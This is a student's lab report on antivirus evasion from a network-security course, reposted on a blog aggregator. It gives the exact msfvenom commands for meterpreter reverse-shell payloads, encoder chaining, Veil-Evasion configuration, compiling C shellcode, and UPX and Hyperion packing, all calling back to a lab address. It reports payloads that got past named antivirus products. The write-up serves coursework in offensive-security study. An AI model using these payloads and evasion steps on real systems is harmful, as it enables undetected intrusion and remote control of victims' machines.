zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

    2018-2019-2 20165209 《网络对抗技术》Exp3:免杀原理与实践

    1 免杀原理与实验内容

    1.1 免杀原理

    • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

    • 哪里有后门呢?

      • 编译器留后门
      • 操作系统留后门
      • 最常见的当然还是应用程序中留后门
      • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

    1.2 实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

    任务二:通过组合应用各种技术实现恶意代码免杀。

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    2 基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含一段特征码就是一段或多段数据则被认为是恶意代码。

    • 基于行为的恶意软件检测:指通用的、多特征的、非精确的扫描,如果一个可执行文件存在非授权的操作,那么就把它认定为恶意的。

    (2)免杀是做什么?

    • 免杀就是让安插的后门不被AV软件发现。

    (3)免杀的基本方法有哪些?

    • 通过改变特征码:

      • 对于EXE文件进行加壳处理(压缩壳、加密壳)。
      • 对于shellcode,用基于payload重新编译生成可执行文件或用encode进行编码。
      • 对于源代码,用其他语言进行重写再编译(veil-evasion)。
    • 通过改变行为:

      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

    3 实验步骤

    3.1 使用msf编码器,msfvenom生成如jar之类的文件

    • 实验二中使用msf生成了后门程序,使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。 用VirusTotal扫描后结果如下图。

    • 结果显示告诉我们后门程序如果不加处理,绝大多数杀软很快就可以识别出来。

    • 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.26.133 LPORT=5209 -f exe > test.exe对后门程序进行10次编码尝试降低检出率。

    • 再次使用VirusTotal扫描,结果如下,没有任何变化。

    • 输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test2.jar生成jar文件进行测试。
    • 输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.26.133 lport=5209 x> test3.php生成PHP文件进行测试。
    • 输入msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f raw > shell.jsp生成jsp文件并伪装名字成shell,进行测试。

    3.2 veil-evasion

    • 安装步骤参考安装免杀工具Veil-Evasion然而我没有在自己的虚拟机中安装成功,崩了虚拟机之后拷了其他同学的。

    • 输入veil进入veil的界面,再输入use evasion进入Evil-Evasion。

    • 输入use c/meterpreter/rev_tcp.py进入配置界面。
    • 输入set LHOST 192.168.26.133设置反弹连接。
    • 输入set LPORT 5209设置端口号。
    • 输入generate生成文件。
    • 输入09_c_txtplayload的名字。

    3.2 使用shellcode编程

    • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.133 LPORT=5209 -f c 生成一段c语言格式的shellcode数组。
    • 将生成的shellcode写成函数并进行调用。
    • 输入sudo apt-get install mingw-w64下载编译软件,输入i686-w64-mingw32-g++ 09scode.c -o 09scode.exe
    • 检测结果如下。

    3.3 加壳

    • 压缩壳:输入upx 09scode.exe -o 09scode.upxed.exe尝试对上面的shellcode加壳,并进行检测,结果如下。

    • 加密壳:将生成upx文件拷贝到/usr/share/windows-binaries/hyperion/目录中并进入,输入wine hyperion.exe -v 09scode.upxed.exe shell09.exe进行加壳,检测结果如下。

    3.4 通过组合应用各种技术实现恶意代码免杀

    • 采用C语言调用bloxor编码的shellcode方式免杀成功并可以回连
      • 被控主机:win10
      • 扫描软件:360安全卫士11.5
      • 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.26.133 LPORT=5209 -f c生成shellcode。
      • 在win10中查杀结果如下。

    3.5 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
    • 实验环境:win7虚拟机,腾讯电脑管家13.0.版本。
    • 结果如下。

    4. 离实战还缺些什么技术或步骤?

    • 对免杀的知识了解还不够多,只是能够利用软件生成简单的恶意代码并对其进行加壳;伪装手法还是很低级,没有办法真正的攻入一台电脑并不被其发现。

    5. 实践总结与体会

    实验中还是很容易出现虚拟机崩盘的情况的,也被杀毒软件搞到有点难受,但是情况总比办法多。通过这次实验让我更加的体会到虽然安装了杀毒软件,但其也不万能的。

  • 相关阅读:
    Python学习第151天(Django之多对多)
    Python学习第150天(目前正在做的内容介绍)
    挑战日语学习100天:Day11
    挑战日语学习100天:Day10
    hdu3853 LOOPS 期望dp
    最长公共子串
    基于后缀数组的字符串匹配
    高度数组模板
    Jenkins持续集成自动化测试
    自动化上传文件
  • 原文地址:https://www.cnblogs.com/tutu233/p/10633315.html
Copyright © 2011-2022 走看看